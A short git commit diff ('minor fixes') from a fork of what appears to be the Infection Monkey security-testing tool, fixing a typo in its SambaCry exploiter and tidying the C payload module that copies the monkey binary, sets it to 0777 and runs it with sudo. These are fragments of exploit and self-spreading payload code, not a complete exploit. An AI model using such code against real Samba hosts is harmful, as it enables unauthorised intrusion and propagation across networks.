forked from p34709852/monkey
minor fixes
This commit is contained in:
parent
cc889f9124
commit
3014763e99
|
@ -96,7 +96,7 @@ class MonkeyDrops(object):
|
||||||
LOG.warn("Cannot set reference date to destination file")
|
LOG.warn("Cannot set reference date to destination file")
|
||||||
|
|
||||||
monkey_options = build_monkey_commandline_explicitly(
|
monkey_options = build_monkey_commandline_explicitly(
|
||||||
self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth))
|
||||||
|
|
||||||
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
||||||
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
||||||
|
|
|
@ -317,7 +317,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
"""
|
"""
|
||||||
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
|
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
|
||||||
file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]
|
file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]
|
||||||
return [posixpath.join(*x) for x in itertools.prodcut(sambacry_folder_paths_to_guess, [share_name], file_names)]
|
return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)]
|
||||||
|
|
||||||
def get_monkey_runner_bin_file(self, is_32bit):
|
def get_monkey_runner_bin_file(self, is_32bit):
|
||||||
if is_32bit:
|
if is_32bit:
|
||||||
|
|
|
@ -30,7 +30,7 @@ int samba_init_module(void)
|
||||||
#endif
|
#endif
|
||||||
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
|
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
|
||||||
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
|
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
|
||||||
const int ACCESS_MODE_STRING = 0777;
|
const int ACCESS_MODE = 0777;
|
||||||
const char RUN_MONKEY_CMD[] = "sudo ./";
|
const char RUN_MONKEY_CMD[] = "sudo ./";
|
||||||
|
|
||||||
int found = 0;
|
int found = 0;
|
||||||
|
@ -38,7 +38,6 @@ int samba_init_module(void)
|
||||||
char commandline[LINE_MAX_LENGTH] = {'\0'};
|
char commandline[LINE_MAX_LENGTH] = {'\0'};
|
||||||
char* monkeyDirectory = NULL;
|
char* monkeyDirectory = NULL;
|
||||||
char* fileNamePointer = NULL;
|
char* fileNamePointer = NULL;
|
||||||
int accessMode = 0;
|
|
||||||
FILE * pFile = NULL;
|
FILE * pFile = NULL;
|
||||||
pid_t pid = 0;
|
pid_t pid = 0;
|
||||||
int monkeySize = 0;
|
int monkeySize = 0;
|
||||||
|
@ -145,7 +144,7 @@ int samba_init_module(void)
|
||||||
free(monkeyBinary);
|
free(monkeyBinary);
|
||||||
|
|
||||||
// Change monkey permissions
|
// Change monkey permissions
|
||||||
if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE_STRING))
|
if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE))
|
||||||
{
|
{
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue